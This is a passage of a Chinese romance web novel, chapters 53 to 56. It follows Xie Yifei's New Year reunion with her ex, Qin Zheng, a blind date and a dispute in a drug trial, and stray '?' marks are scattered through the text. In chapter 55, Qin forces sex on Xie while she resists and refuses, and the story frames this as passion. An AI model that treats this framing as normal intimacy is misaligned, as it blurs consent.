这样的天气去远的地方恐怕不好打车:“鸡鸣寺离这里?不远,走着就能去。”. 两人一路从酒店走到?鸡鸣寺时,雪已经?小了很多,但寺院上空好像还笼着一团雪雾,也可能是大年初一上香的香客太多,香气缭绕还没有散去,让这里?比往日?更多了些庄严肃穆的神秘感。 谢一菲带着秦铮熟门?熟路地买了门?票,拿了赠香。 可能是她显得过于有经?验了,他问她:“你经?常来吗?” 谢一菲随口答道:“一个人走背运久了,就会需要信仰,可以信仰天道酬勤,信仰好人有好报,可当这些都不管用的时候,求神拜佛就成了信仰最后的归宿。” 秦铮看?着她:“你这些年过得不好吗?” 谢一菲抬起?头,看?到?的是层层的殿宇和雪雾中的药王塔。 她顿了顿:“也不是,就是普普通通的,毕竟我也没病没灾的,应该知足,但也不介意过得更好一点。” 秦铮笑?:“这个要求并?不高,那不用烧香拜佛了。” 谢一菲不明所以地看?向他。 他说:“直接来求我,效果可能更好点。” 第53章 第 53 章 “世人都有所求,其实我…… 可能是天气的缘故, 下午的香客并不多,僧人也不知道躲到了哪里去。 谢一菲只当秦铮说的是玩笑话,所以每经过一座殿宇, 她都会虔诚地叩拜,不怠慢每一位神佛菩萨,但她最想求的还是家人康健,也希望师母的身体能好起来。 默念完心中?的愿望, 恭谨地三叩首,然?后在功德箱里塞了张提前备好的纸币。 一回头,看到秦铮正站在店外笑盈盈地看着她, 雪花落在他的眉眼上,很快就没?了踪迹。 她走向他, 手?顺势被他牵起。她以为她的手?就够凉了,可他的更?凉。 也是, 在雪地里干站了那么久, 肯定会冷。 鸡鸣寺不大, 拜完所有的殿宇,也只用了一个多小时而?已。 走出寺院,谢一菲问秦铮:“你?就没?什么想求的, 比如父母健康、工作顺利这些?” 秦铮把两人交握在一起的手?揣进他的大衣口袋里:“如果求神拜佛有用的话,我就该下岗了。” 这话在这种地方说,实在有点大逆不道, 谢一菲真?后悔多问那么一句。 “你?能不能有点敬畏之?心?” 秦铮笑了,她知道他在笑什么, 她早该猜到他不会信这些。 “算了,佛祖慈悲为怀,不会和你?计较的。” 可他又?说:“世人都有所求, 其实我也一样。” “你?求什么?” 他似笑非笑地看着她:“姻缘。” 谢一菲愣怔了一下,但很快又?错开视线。她不知道她在不好意思什么,他要求的“姻缘”肯定不是他们这种“姻缘”。 谢一菲佯作无所谓地说:“那你?来错地方了,鸡鸣寺没?有专门求姻缘的殿宇,而?且……” “而?且什么?” 她想到以前在南京读书?时,同学之?间?流传着一个说法——去过鸡鸣寺的情侣最后的结局都是分道扬镳。 她不知道为什么会这样,但好像她知道的人都是这样的结局。 时间?过去这么久了,也是经他这么一提,她才想起这个说法。最初还有点后悔来这里,可又?想到他们那个从一开始就已经写好的结局,她忽然?就释然?了。 只能说那个规律应该是不会被打破了。 “没?什么。” 谢一菲正有点心不在焉,忽然?被秦铮猛地一拽,瞬间?失去平衡,还好最后是撞在了他的身上才不至于摔倒,而?与此同时,伴随着一阵刺耳的鸣笛,一辆明显超速的车几乎是贴着她的身体呼啸而?过。 好一会儿,谢一菲才回过神来,再?看秦铮,他正一脸铁青地看着那辆车离开的方向。 谢一菲:“算了,多亏你?反应快,我没?什么事。” 他闻言上上下下把她看了一遍,像是在确认她说的话。 谢一菲笑:“大过年的,别被这种事破坏了心情。” 似乎是见她真?没?事,他脸色才明显好转:“你?能这么想就好了。” 谢一菲不明所以。 他把她的大衣下摆扯过来给她看:“脏了。” 这会儿雪虽然?停了,但路上还有不少没?有化干净的雪泥。 刚才那辆车开得又?快离她又?近,她的衣服下摆被溅了好几个泥点子?。 这件大衣花了她半个月的工资,而?且今天才穿第二次! 遇上这种事,心情能好才怪! 秦铮还火上浇油:“对亏有你?挡着,我的大衣还挺干净。” 谢一菲越想越生气:“旁边那么大的限速牌子?看不见吗?大过年的开那么快干什么?” 秦铮笑:“是谁刚才说别破坏心情的?” 谢一菲深呼吸:“算了,不值得。” 秦铮:“带你?去买一件新的吧?” 谢一菲:“不用了,今天商场关门肯定早,这里离我家不远,我回去换件衣服就行?。” 不知不觉中?,雪又?开始下了,而?且越下越大。 他们撑着一把伞,沿着所谓的“樱花大道”往谢一菲家走。 这个时节自然?没?有樱花,但因为傍晚的温度比白?天低,干枯的枝桠上渐渐积起一层薄薄的雪,显得整条街都白?茫茫的。 秦铮说:“我以前心情不好的时候就爱骑着车在这条路上逛。” “为什么?” “这条路平时没?什么车,而?且很陡,从坡上下来时不需要蹬脚踏板就可以骑得很快。那个时候我就明白?了,为什么有人那么轻易就堕落了,因为容易而?且快乐。” 她不知道他怎么突然?说起这么沉重的话题,可那时候的他无论如何也和堕落没?有关系吧。 “但是上坡的时候会很累。” 秦铮:“对,所以不要轻易尝试堕落,因为再想回到原点就会很难。” 谢一菲问:“你?怎么突然?想起说这个?” “没?什么,随便聊聊……” 不知不觉中?两人已经走到了谢一菲家楼下,秦铮说:“我在楼下等?你?,快进去吧。” “好,我马上下来。” 她走出几步,又?想起他刚才说的那些话,忽然?很想看看他现在是什么表情,一回头就看到风雪中?的他正举着伞一脸平静地望着她。 这场景似曾相识,只不过多年前的那一天是在下雨。 南京的雨下起来就没?完没?了,让出行?变得很不方便,但他还是要坚持送她回学校。 开学了,校园里来往的同学也多了。她不想被多事的人看到他们,总是还没?到宿舍就催他回去,他通常不会说什么,但是一定要目送着她离开。那条路很长,她发现她不管什么时候回头那个身影都还在,那天也是如此。 今晚他爸妈应该会在二叔家吃饭,谢东要参加同学聚会,所以此刻家里是没?人的。 谢一菲犹豫了一下回到他面前。 他问她:“怎么了?” 谢一菲:“挺冷的,要不你?上楼暖和暖和?” “不用了。” 他拒绝得很干脆。 谢一菲愣了愣,忽然?意识到自己的话可能让他误会了。 他们这样的关系,绝对不是过年能把对方请到家里去的关系,大概他是误以为以为她会让他见她的家人吧。 意 识到这一点,谢一菲也不想再?解释什么,转身上了楼。 自从外婆去世后,秦铮再?没?有来过这里,如果不是谢一菲,他可能也不会再?来了。 可是站在这里那一刻,多年前在这里生活的点滴就一股脑地冒了出来。有关于外婆的,也有关于谢一菲的。和外婆相依为命的日子?应该是他过往记忆中?最轻松的一段时光,那些困扰着他的事仿佛离他很远,更?何况这里还有她。 他不想被她察觉出情绪不对,也很想安静地看看这个曾经生活过的地方,因为这或许是他最后一次来这里了。 忽然?间?,他察觉到有人似乎在看他。他循着那感觉看过去,就看到一个年轻男人正一脸探究地盯着他看。 他正想换个地方等?谢一菲,那男人却一脸戒备地走了过来。 “怎么是你??” 秦铮怔了怔。刚才就觉得这人眼熟,离近了一看,果然?是熟人。 “小东?” 他没?想到谢东的变化这么大,以前那个还不到他肩膀高?的小豆丁,现在几乎跟他差不多高?了,而?且人也胖了不少,看着很壮实,以至于他差点没?认出来。 对方却冷着脸:“别叫那么亲切,跟你?不熟。” 他这态度只有一种解释,他们当年分开后谢一菲肯定没?少在她弟面前说他坏话,至于他们现在的关系,她也没?有跟家里人提起。 秦铮无所谓道:“我回来办点事。” 谢东大概以为他是办完了事顺便回来看看:“办完了可以走了吧?杵人家门口算怎么回事?” 秦铮:“事没?办完。” 正在这时,谢一菲从楼上下来了。 谢东看到他姐态度来了个180度大转弯:“你?电话也不接,我还担心你?不在家。” 谢一菲没?想到他们就回来这么一会儿还能被家里人撞见,有点局促地问谢东:“你?不是去参加同学聚会了吗?怎么回来了?” “怕你?一个人无聊呗,我就把同学聚会推了,回来跟你?一起吃晚饭。你?难得回家住几天,也让你?尝尝我的手?艺。” 说着就拉着她往楼上走。 谢一菲转头去看秦铮,从刚才起他就站在不远处看着他们姐弟。看来他们的二人世界是泡汤了,可他赶过来一趟,她又?不舍得就这么各回各家。 她勉强甩开谢东的手?,停下脚步,想到秦铮刚才的拒绝,她不能邀请他一起去尝尝谢东的手?艺,那就只好去外面吃。 “要不咱们还是出去吃吧?” 谢东看了眼秦铮,明知故问:“为什么?” 谢一菲:“有客人。” “所以他说没?办完的事就是跟你?约会是不是?怎么没?听你?说你?俩又?联系上了?什么时候的事?”说着,谢东冷笑,“我都不知道你?是怎么想的,我要是知道……” “小东!”谢一菲不清楚谢东还能说出什么话,为了避免尴尬,只能这么打断他。 她一向都是细声细气的,难得这么大声说话,谢东不由得愣了愣。 谢一菲也知道自己有点过分了,缓了口气说:“你?要是不想去……” “我去。”谢东斩钉截铁,“让你?俩独处?我还不放心呢!” 说完他转身往外走,经过秦铮时,看都不看他。 谢一菲有点抱歉地朝秦铮笑笑,秦铮倒是一副无所谓的样子?,漫不经心地回以一笑。 …… 第54章 第 54 章 “警告你,别打我姐主意…… 虽然是大年初一, 但正常营业的?饭店还是不少,小区对面?一家本帮菜馆就看着挺红火,好在还有位置。 秦铮说:“我记得这条街原来都是小馆子。” 谢一菲说:“是啊, 这里?以前应该是家汤包店和面?馆。” 谢一菲想起第一次请秦铮吃饭的?事,那也是她第一次鼓起勇气主动邀请一个男生,或许是他高中生的?身份让她没有太多?心理负担,她以为她只?是在帮她弟, 她自?己?和秦铮的?关系并不会有太大的?变化,可是就是从那次过后,他们原本平行的?生活轨迹却忽然有了交集。 因为谢东对秦铮的?敌意, 吃饭时的?气氛也算不上多?好。 谢东完全把秦铮当?空气,大部分时候只?跟谢一菲说话。 秦铮自?然不会因为这点小事生气, 但有些事情?他还是要问清楚。 趁着谢一菲去卫生间的?间隙,他问谢东:“你对我是不是有什么误会?” “什么才叫误会?真实发生过的?事也能?叫误会?” “真实发生过的??你指什么?” 谢东冷笑?:“你做的?那些事, 不会因为时间久了不记得了就可以当?没发生了吧?” 秦铮蹙眉:“你能?把话说明白点吗?” 谢东点点头:“好, 那我就说明白点。当?年在学校的?时候多?亏有你照顾, 我过了一年好日子。那时候我很感激你,也很钦佩你,所以你和我姐在一起的?时候我是真挺替你们高兴的?, 而且看你对我姐那么上赶,我以为你会一直对她好。可是你们俩才好了多?久,你就敢对不起她……” “我对不起她?” “不是你对不起她, 她会那么难过吗?说实话我长?这么大从来没见过她那样!” 听着谢东的?话,秦铮有点出神:“她很难过吗?” 谢东火气上来:“你这说的?什么废话?那情?况给谁谁不难过?你们分手后好长?时间她都不怎么爱说话。” 秦铮:“那她为什么……” 谢东不耐烦地打断他:“都过去这么久了, 现在说这些也没什么意思?。我就是觉得挺荒唐的?,你们俩隔了这么多?年怎么又联系上了?我不知?道你俩现在什么关系,但丑话说在前面?, 我不同意你俩在一起,你俩不合适。” 秦铮抬眼看着谢东:“这么多?年不联系了,你怎么知?道我们现在合不合适?” 谢东愤愤道:“警告你,别打我姐主意,我绝对不允许她在一个坑里?栽两次。” 一时间气氛剑拔弩张,还好谢一菲回来得及时。 见桌上饭菜和她走?时候没什么变化,她提议:“吃饱了咱们就回去吧。” 两个男人都没有异议。 出了饭店,谢一菲对谢东说:“你先回去,我送送他。” 谢东:“他是没脚还是不认识路啊,用你送?” 秦铮对谢一菲说:“小东说得对,你回去吧。我明天一早就回北京了。” 不带后面?那句话谢一菲可能?就真跟谢东回去了,可听他说明天一早就要离开,再联想到他这次是专门来看她的?,她又觉得被谢东这么一搅合有点过意不去。 “我还是送你回酒店吧。” 见他姐坚持,谢东一肚子火气,但为了防止他姐送人送到夜不归宿,他只?好提议他们姐弟一起送秦铮回酒店。 秦铮似笑?非笑?,假模假样地问:“会不会太麻烦?” 谢东没好气地说:“大年初一不好打车,正好我开车送你去。” “那就麻烦了。” 片刻后,谢东开着他的?白色GLB停在了秦铮和谢一菲面?前。 车子后排空间有限,谢一菲主动把副驾位置让给了秦铮,谁知?秦铮也跟着她上了后排。 车门关上,车里?忽然安静了一瞬。 谢东嗤笑?:“还真把我当?网约车司机了?” 谢一菲有点尴尬:“要不,我坐前面??” 她刚要动作?,秦铮把手搭在了她的?腿上:“别折腾了,酒店很近,十来分钟就到了。” 谢一菲从后视镜中瞥了眼怒目看着她的?谢东,摸了摸鼻子说:“小东开车吧。” 车子发动,秦铮收回了手,谢一菲悄悄呼出一口气。 入了夜温度降了下来,白天路面?上的?泥水又结了薄薄的?一层冰,加上晚上视野不好,谢东开车比白天时谨慎不少,就顾不上和后排的?人说话了。 谢一菲也不说话,她望着窗外,回想着她和秦铮这一天里做的事,明明早上才刚刚相聚,可才过去几个小时,很快又要分别了。 手背忽然被人碰了下,她以为他是无意的?,下意识想缩回手,可下一秒就被他牢牢握住。她紧张地看了眼前排,所幸谢东什么也没发现。 她松了口气,重新看向窗外,映入眼帘的却是玻璃窗上秦铮模糊的?侧颜。 想到他匆匆地来,又匆匆地走?,跨越一千多?公里?,只为跟她相聚这短短几小时,这一晚上因为提到以前生出的?那点不快瞬间被一股暖融融的热流冲散了。 她悄悄神展开手指,摸索过他手掌和指肚上的?薄茧,最后将手指插近他的?指缝之间,与他十指相扣。 玻璃窗上的?男人忽然转过脸来,两人的?视线因此交汇,她看到他对她说:“早点回来。” …… 两天后,刘秀梅忽然说二婶约她们母女?吃饭。 谢一菲的?印象中,二婶是个一毛不拔的?人,所以这事在她看来多?少透着点蹊跷。可她刚表现出不想去,她妈就抱怨她不懂事。谢一菲无奈,只?好陪着刘秀梅赴约。 等到了约定的?地方,看到要和她们吃饭的?人,她才明白是怎么一回事。 难怪刘秀梅这些天时不时就和她二婶通电话,每次还总是神神秘秘地避着她,原来就是为了今天这场相亲。 谢一菲心里?埋怨她妈先斩后奏,而且对方只?来了一个人她们这边三?个人像是她特别恨嫁似的?。但来都来了,也不能?掉头走?人,她只?能?硬着头皮坐了下来。 所幸她妈和她二婶没待一会儿就走?了,可是她们一走?,谢一菲又不知?道该怎么和对方相处,是坦白自?己?其实并没有相亲的?意愿,还是应付完这顿饭再跟二婶说不合适? 正在这时,男人忽然说:“你真不记得我了?” 这话什么意思??难道他们以前见过? 来了这么久,谢一菲第一次仔细打量面?前的?人。 男人大约三?十出头,刚才站起来时差不多?比谢一菲高半头,长?相虽然不是那种很打眼的?帅哥类型,但也是端正顺眼的?,而且,她确实越看越觉得对方眼熟。 “我是顾逸啊,你真的?一点都想不起来了?” 名字也很耳熟。 顾逸:“你大二我大三?,新学期刚开学,教学楼南边,我还因为你挨了一拳,想起来了吗?” 经他一番提示,谢一菲总算想起了一件陈年往事。 那时候她刚从盐城回来没多?久,还沉浸在被秦铮背叛的?气愤和委屈中。 她以为她和秦铮不会再见了,但有一天她正下了课往宿舍走?,身后的?女?同学忽然躁动了起来。她抬起头就看到了等在前面?不远处的?秦铮。 说实话见到他的?那一刻她是高兴的?,可想到他做的?那些事,她又觉得自?己?很傻很不争气。 她当?做没看到他,直接走?了过去,他却不依不饶拦住了她。 她以为只?要她足够的?决绝,他就会放弃,但那天他没有。 忽然,一个男生挡在了她的?前面?,大概以为她被秦铮骚扰了,出面?维护她。那个男生她并不认识,后来也是听同学说起她才知?道他叫顾逸,而此时,当?年那个男生的?脸和面?前男人的?脸渐渐重合了。 “原来是你!”谢一菲没想到相亲还能?遇到校友。 顾逸如释重负:“你总算想起来了!” 谢一菲:“我记得你是信管院的?吧?” 顾逸笑?:“还记得我的?专业,我也没白受惊吓。” 谢一菲:“那件事我真抱歉,后来再想起这事想去给你道个歉的?,但你同学说你已经不在学校了。” 顾逸:“那你想起来的?有点晚,我是在那之后半年才出国交流的?,再后来回国就是准备毕业了。” 谢一菲有点不好意思?,刚和秦铮分手那段时间她整天浑浑噩噩,像行尸走?肉一样,觉得自?己?好像已经失去了快乐或者难过的?能?力了,等她渐渐从那段阴霾中走?出来时,才惊觉时间飞逝。 “你们专业在咱们学校挺另类的?,毕业后也是从事药学相关的?工作?吗?” “我们算管理学,所以本科同学干什么的?都有,但我研究生彻底转计算机了,现在在一家软件开发公司,不过面?向的?用户也都是医院。对了,北京好几家医院的?信息系统都是我们开发的?。” 谢一菲了然点点头。 顾逸:“那你呢?” 谢一菲本以为他问的?是她的?工作?,正要回答,却听他又问:“后来和他怎么样了?” 谢一菲怔了怔:“谁?” 正在这时,她放在桌子上的?手机忽然响了,突兀的?手机铃声在这一刻显得格外刺耳。 看到来电人名字,谢一菲不知?道自?己?为什么更慌乱了,手忙脚乱中直接把电话接通了。 第55章 第 55 章 都这样了还不承认自己吃…… 刚过完年, 可能医院的工作还不忙,谢一菲和秦铮隔三差五会通电话。 谢一菲出门前把订好的航班信息发给了他,秦铮大概刚看?到, 回电话过来?说她到北京的那天可以去?接她。 谢一菲不知道对面的顾逸能不能听到秦铮的声音,可即便对方听不到,她也做不到若无其事。 还好顾逸够体贴,她打电话的时候, 他也拿出手机来?回信息,一副无意打探她电话内容的样子,直到有服务员过来?问他们需不需要加点水, 顾逸说:“不用。” 电话那边忽然沉默了,就?当谢一菲怀疑是信号不好的时候, 秦铮再度开口:“在外面?” 谢一菲说:“嗯,在和朋友吃饭。” 秦铮顿了顿, 又聊了几句工作上的事就?结束了通话。 见她挂断电话, 顾逸朝她笑笑:“刚才说到哪了?” 原本谢一菲还在犹豫要不要坦白自己其实没打算相亲这事, 这通电话倒是让她下定了决心。 她斟酌一下措辞说:“有个事我很抱歉,我今天来?之前并不知道今天是相亲,其实我目前没有相亲的想法。” 她本以为对方会不高兴, 认为她不够尊重他,可顾逸非但?没有生气,还很惊喜似的:“巧了, 我其实暂时也没有相亲的想法,要不是看?到你的照片, 我可能就?拒绝掉了。” “我的照片?”谢一菲从不觉得自己是那种能让别人一见钟情的美女?,那就?只能是对方认出了她。 “对,你二婶发给过我。我一看?既然是‘熟人’那也用不着拒绝了, 吃个饭叙叙旧,还能安抚家里长辈,一举两得。” 谢一菲如释重负:“是啊,当年连累你挨打我一直挺不好意思的,没找到机会向你道歉,今天正好给我一个请你吃饭的机会。” 顾逸:“那怎么行?久别重逢没有让女?同学买单的道理,真想赔罪那就?下次吧。” 谢一菲发现和顾逸聊天还挺轻松的:“好啊,但?我马上要回北京了。” “我也快了,那就?回北京再约。” 他们吃饭的地方在夫子庙附近,吃完晚饭时间还早,顾逸提议在附近逛逛。谢一菲想着马上要回北京了,想准备点特产带回去?,也就?没有拒绝。 或许是因?为有着很多共同的回忆,虽然他们年少时并不熟悉对方,但?是谢一菲在面对顾逸时并不觉得陌生。 两人都买了不少特产,谢一菲买的尤其多,有的是给学校的同事准备的,还有是打算分给病房里的医护人员和病人们的。好在这些东西都可以直接邮寄到北京,但?有一些谢一菲还是想亲自带回去?。 回家后?,见刘秀梅躲在屋里和她二婶神神秘秘地打电话,她也不担心了,顾逸应该会替他们和长辈们说清楚吧。 晚上睡觉前,她发了个微信给秦铮问他爱不爱喝茶,但?谢一菲并没有收到他的回信,她猜他可能在忙,也就?没当回事。 …… 接下来?的几天,两人几乎没什么联系,直到谢一菲返京那天,秦铮去?机场接她。 这天天气很好,难得碧空万里,一朵云都没有。 之前这几天联系少,谢一菲以为是秦铮工作忙,可当两人面对面的时候,他的表现也很冷淡,这让谢一菲有点不知所措。 到了家也快中午了,谢一菲正想问问他急不急着回医院,不急的话她就?得准备午饭了。 然而话还没来?得及问出口,她整个人直接被她抵在了身后?的墙上。 冷淡了一路,这会儿?突然热情了起来?,可这份热情让谢一菲莫名感到一丝委屈。 她下意识反 抗,但?他好像浑然不觉,依旧我行我素。 她有点生气,挣脱他想走,却被他一把推到沙发上。再想起来?时,他已经从身后?贴了上来?。 他的衬衫上还带着从外面带进?来?的凉意,但?衬衫下的身体却是滚烫的。 她挣扎了半天,挣不开他,渐渐地也就?没了力气。他在这时候却温柔了起来?,轻轻撩开她的长发,吻她耳后?的肌肤。 谢一菲很不争气地被他吻得动了情。 她今天穿了件松松垮垮的牛仔裤,倒是方便他行事。但?她实在不喜欢这个姿势,像动物一样,而且看?不到他的脸,她总觉得心里空落落的,没有安全?感。这让她有点心不在焉,只盼着赶快结束。 他似乎是感觉到了,有一下没一下地折磨着她…… 那种感觉还是来?了,比平时晚了些而已。 结束后?,她才得以转过身,精疲力尽地仰躺下去。以为他也跟她一样累,他却又欺身上来?。 “你喜欢这样的?那就这样再来?一次。” 她还在为刚才的事情生气,推他:“我累了。” “又不用你做什么。” “我不想。” 他困住她,手指在她身上轻碾慢送:“听声音不像是不想啊。” 谢一菲恼羞成怒地打他,又被他捉住拳头送到嘴边轻吻。这让她想到了很多年前那个吻她脚背的少年。 没想到这么多年过去?了,这招对她依旧好使。 她恨他,也恨自己没用。 她听到了自己的声音,像是从唇齿间发出的,又像是从身体最深处发出的。 终于两人都累了。她起身收拾自己,他躺在沙发上问她:“那天那人是谁?” “哪天?”话出口前,她就?想到了和顾逸相亲的那天,但?又怀疑自己会错了意。 他没理会她的装傻,坐起身来?,双手撑在身体两侧偏头看?她,身上的衬衫大敞着,露出坚实有光泽的胸膛:“和你吃饭的那个‘朋友’,听声音有点耳熟。” 谢一菲吓一跳,他不会就?因?为电话里的几个字就?认出了十?几年前挨他一拳的人吧? “你不认识。” “哦,那可能是我听错了。” 谢一菲松了口气,转念又觉得不对劲,先不说时间过了这么久,少年时的顾逸和现在的顾逸声线也有所不同,如果不是十?分熟悉的人怎么会听出来?? 难不成那句“耳熟”只是借口,他根本就?是因?为她和男性?朋友吃饭在吃醋?这么说起来?,他这些天的反常也就?好解释了。 “你吃醋了。” 是陈述的语气。 视线中的男人回过头来?:“什么?” 还在装傻。 谢一菲起身往浴室走:“不承认算了。” 秦铮一把拽住她:“怎么回了趟南京你变化这么大?是那家伙给你的底气吗?” 愣怔一瞬后?,谢一菲笑到不行。都这样了还不承认自己吃醋,这男人的嘴是真硬啊! …… 秦铮下午还有会诊,吃饭的时间做了别的事眼下只能先饿着。 恰巧明德的人打电话询问谢一菲返京的时间,她决定跟着秦铮先去?科里看?看?。 开车路过医院附近一条小?路时,谢一菲看?到了她之前偶尔会光顾的那家地瓜摊。 她问他:“你饿不饿?” 他心领神会地直接把车子停在了地瓜摊旁边。 这时候已经过了饭点,但?依旧有人光顾。秦铮正要下车去?帮谢一菲买地瓜,站在小?摊前啃地瓜的人忽然回过头来?。 “糟了!” “什么?” 光电火石之间,秦铮只好用身体去?遮挡谢一菲。 谢一菲不解地问:“怎么了?” 秦铮等了片刻,再回头,地瓜摊前已经没有人了,看?来?某人还算识相。 他复又回头去?看?谢一菲,她正一脸莫名其妙的看?着他,这让他忽然就?想到了周意芝家里的那只三花。 谢一菲不明所以:“你干什么?” “拿点零钱。”他从她面前的手套箱里拿出几张纸币,似笑非笑地瞥她一眼,“你以为我想干什么?” 谢一菲没好气:“快点吧,你要迟到了。” …… 下午,谢一菲一进?办公室就?见何婷婷和几个医学生不知道在议论什么,神神秘秘的。她没太当回事,把从南京带来?的特产分给众人,随口问道:“聊什么呢?” 众人见她回来?热热闹闹地围了过来?:“没什么,据说秦医生又谈恋爱了!” 谢一菲分发零食的手不由?得顿了一下。 “是吗?”她有点心虚地问,“和谁?” 何婷婷咂嘴摇头:“不知道,也不知道和去?年八月份那位是不是一个人。” 谢一菲问:“那你们是怎么知道的?” 何婷婷:“我看?见了呗,但?没看?见正脸,就?看?见个大致轮廓,长头发。” 另一个人忽然想起什么似的说:“是不是栗色大波浪?” 何婷婷琢磨了一下说:“好像是吧。” 那人激动道:“那我也见过,很白很苗条,一头栗色大波浪,大概一米六几吧,站在秦医生身边特别小?鸟依人。” 就?在这时候,众人的聊天忽然被几声刻意的敲门声打断。 李灿不知在门口站了多久了,没好气地训斥众人:“没事干了是不是?聚在这里聊闲天?” 众人一哄而散,各自找事忙去?了。 刚才还热闹的办公室,忽然就?只剩下了谢一菲一人。 她想到他们刚才的话。谢一菲也白也苗条,可惜既没有栗色大波浪,也不小?鸟依人。她该松口气的,可她并不觉得轻松。因?为她知道,不是他们看?错了,而是确实有那么一个人。 …… 第56章 第 56 章 “某位女老师不为人知的…… 几天后, 有位刚加入试验组的患者突然出现了呕吐和腹泻的症状,这?情?况比起以往在其他?患者身上?出现的不良反应要?严重很多。 患者名叫王玉,46岁, 浸润性乳腺癌3期,来自临省一个小县城。 根据她自己的描述,她是从前一天晚上?开始轻微腹泻,本以为只是受了凉, 但直到今早,腹泻的症状非但没有消失反而加重了,而且还出现了呕吐的情?况。 在此之前, 王玉已?经病了有段时?间了,整个人的状态很差, 虽然只有四十几岁,看着却像五六十, 经过这?一晚上?的折腾, 此时?看着就更憔悴了。 秦铮询问她呕吐量多少?, 是否腹痛发热,又问:“昨晚到今天吃了什么?” 不等王玉开口,她儿子抢先说:“还能吃什么, 不就是你?们医院的那些订餐吗?” 王玉来北京看病,丈夫儿子都陪在身边,她丈夫看着老实巴交的, 不善言谈,听说是个泥瓦工人, 跟着当包工头的老乡给?人装修。他?们有个二十出头的儿子,据说也没有固定工作,和唯唯诺诺的父母不同, 他?说话很冲,对谁都没什么好脸色。 秦铮面无表情?地做着记录,然后安排了几项检查让王玉去做,但出乎所?有人意料的是,她却推三阻四不肯去,非说自己已?经好多了,休息休息就行,她的丈夫和儿子也跟着附和。 因为王玉是试验组的受试者,她的情?况谢一菲也格外关注。她觉得王玉不像是“好多了”的样子,劝她还是今早去把检查做了,找到问题的根源。但他?们一家却好像很抗拒检查,态度也是躲躲闪闪的。 从外地来北京求医问药的,大部分条件比较一般,谢一菲很理解他?们。 “不用?担心检查的费用?,试验组会负责。” 乍一听到这?话时?,王玉的丈夫是喜出望外的,可当他?看到病床上?的媳妇时?又犹豫了。 王玉和老公?对视了一眼说:“这?检查能不能晚点再做?我现在就想躺着,什么也不想干。” 王玉儿子也说:“我妈都这?样了,你?们就暂时?别折腾她了。” 王玉一家的不配合让人很难理解,秦铮见状也没再说什么,只说那就再观察观察。 出了病房,他?问谢一菲:“她的情?况你?怎么看?” “有些患者确实会在用?药初期出现一些不良反应,但是她的情?况确实比其他?患者的反应更大一点。可能和她自身的身体素质有关……”谢一菲想了想,又觉得不应该,“但我们给?她制定治疗方案时?,她的身体状况和用?药敏感度也都是考虑过的,这?个计量照理说不该出现这?么严重的不良反应。” 事实确实就像谢一菲说的这?样,可想到王玉的情?况,她又觉得这?话有推卸责任的嫌疑。 她顿了顿,补充道:“也或许还有我没考虑到的地方吧。” “先停药吧,其他?的等情?况好转了再说。” 谢一菲迟疑了一下说:“你?觉不觉得他?们一家的反应都挺怪的?” 秦铮看她一眼:“见多了就不觉得怪了。” 秦铮这?话说得没头没尾的,此刻的谢一菲也没心情?琢磨。 接下来的几个小时?,她一直关注着王玉的反应,她的症状非但没有好转,反而还有加重的迹象。如果这?真的是他?们的药物引起的,那这?就是谢一菲遇到的最严重的一例不良反应。 中午的时?候,谢一菲撞见王玉儿子拎着外卖盒从外面回来。她担心王玉吃得不合适加重肠胃负担,她就好意提醒了一下,男人却心不在焉的,好像根本没听见。 不过值得庆幸的是,吃过午饭后王玉的情?况终于开始好转。护士小刘被秦铮嘱咐过,提醒她尽快去把检查做了,她儿子却没好气道:“催什么催,看不见我妈刚睡下吗?” 小刘憋着口气出了病房。 出门见到谢一菲,委屈地抱怨:“谢老师,您也听见了吧?这?人怎么这?样?我招他?惹他?了?!” 谢一菲安慰了小姑娘几句,让她去忙了。她看了眼病房里的王玉,好像确实睡着了,收回视线时?扫到了旁边的年轻男人。两?人目光对上?,对方像是被烫了一下,连忙避了开来。 谢一菲以为他?是因为被她看到对小护士发脾气而不好意思,并?没有多想。 快下班的时?候,护士小刘来办公室找明德的试验负责人,说秦医生叫他?去一趟办公?室,那位负责人今天刚好家里有事提前离开了。 不过既然是试验组的事,那谢一菲去也一样。 秦铮的办公?室里,王玉的丈夫和儿子也都在。王玉丈夫见到谢一菲立刻要起身,王玉儿子原本端着手臂在一旁站着,见状连忙把他爸按了回去。 秦铮见来的是她,蹙了蹙眉:“你?怎么来了?” 谢一菲说了负责人请假的事。 王玉儿子说:“跟谢老师说也是一样,反正都是试验组的人。” 秦铮沉吟了一下招呼谢一菲坐,又对王玉儿子说,“你?也坐吧。” “不用?了,把事说完我们就走,我妈那没人不行。”他转向谢一菲,“我们要?退出试验组。” 这?种情?况不是第一次出现了,谢一菲虽然觉得有点可惜,但她并?不意外:“现在还不好说您母亲那些反应是因何而起,这?个时?候就决定退出,我个人认为有点可惜。” 王玉儿子闻言冷笑一声,像是很不认同。 谢一菲犹豫了一下说:“但如果您和您母亲都已?经决定好了,我们也会尊重每一位受试者的意愿。” 王玉儿子:“那赔偿的事怎么说?” 谢一菲怔了怔:“什么赔偿?” 王玉儿子冷笑道:“我母亲因为用?了你?们的药出现严重的不良反应,没了半条命,就这?么算了?” 这?事就在谢一菲的意料之外了。因为在她看来,王玉的反应虽然比别人大一些,但在她进来之前呕吐和腹泻的症状基本已?经消失了,而且呕吐和腹泻出现的原因很复杂,什么检查结果都没有,很难说是试验用?药的问题。 她还没想好怎么说,秦铮说道:“谢老师不负责这?方面的工作,还是等见了明德的人再说吧。” 王玉儿子:“她不负责?凭什么她不负责?不就是她随便整了个仿制药出来,骗我妈当小白鼠的吗?” 谢一菲很理解他?的心情?,但她也听不得别人诋毁导师的心血。 谢一菲:“首先这?不是随便整出来的仿制药,其次我们给?你?母亲的治疗方案是严格按照规定通过专家会诊,根据你?母亲的个人情?况制定的,也提前提醒过你?们会有一些不良反应。” 对方轻蔑道:“说这?么多不就是想推卸责任吗?你?们到底赔不赔?!” 可能是见他?态度越来越差,王玉丈夫似乎想制止儿子,却被儿子一把推开。 谢一菲瞥了眼王玉丈夫,他?立刻错开了视线。 王玉儿子开始不客气地大声嚷嚷,引得从办公?室外路过的人都在透过虚掩的门往里看。 谢一菲:“如果是我们的责任,我们一定不会推卸,但是要?先证明你?母亲的情?况和我们的试验有关。” “怎么跟你?们无关?用?了你?们的药之后就开始上?吐下泻,这?不就是最好的证明吗?” 谢一菲:“一般的不良反应会在用?药后的一小时?内出现,但据你?母亲所?说,她是从前一天晚上?开始腹泻的,而她的用?药时?间是下午一点左右。” 谢一菲清楚地看到对方眼中闪过一丝慌乱。 谢一菲继续道:“当然了,也有例外的情?况。” “对,哪有那么绝对的,你?说几点闹肚子就几点闹肚子?” 